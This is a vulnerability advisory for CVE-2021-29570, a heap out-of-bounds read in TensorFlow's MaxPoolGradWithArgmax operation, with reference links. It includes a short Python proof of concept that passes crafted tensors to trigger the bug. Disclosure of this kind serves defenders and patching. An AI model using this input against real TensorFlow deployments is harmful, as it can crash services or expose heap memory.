CVE-2021-29570: Heap out of bounds read in `MaxPoolGradWithArgmax`
(updated )
The implementation of tf.raw_ops.MaxPoolGradWithArgmax
can cause reads outside of bounds of heap allocated data if attacker supplies specially crafted inputs:
import tensorflow as tf
input = tf.constant([10.0, 10.0, 10.0], shape=[1, 1, 3, 1], dtype=tf.float32)
grad = tf.constant([10.0, 10.0, 10.0, 10.0], shape=[1, 1, 1, 4], dtype=tf.float32)
argmax = tf.constant([1], shape=[1], dtype=tf.int64)
ksize = [1, 1, 1, 1]
strides = [1, 1, 1, 1]
tf.raw_ops.MaxPoolGradWithArgmax(
input=input, grad=grad, argmax=argmax, ksize=ksize, strides=strides,
padding='SAME', include_batch_in_index=False)
References
- github.com/advisories/GHSA-545v-42p7-98fq
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-498.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-696.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-207.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/dcd7867de0fea4b72a2b34bd41eb74548dc23886
- github.com/tensorflow/tensorflow/security/advisories/GHSA-545v-42p7-98fq
- nvd.nist.gov/vuln/detail/CVE-2021-29570
Detect and mitigate CVE-2021-29570 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →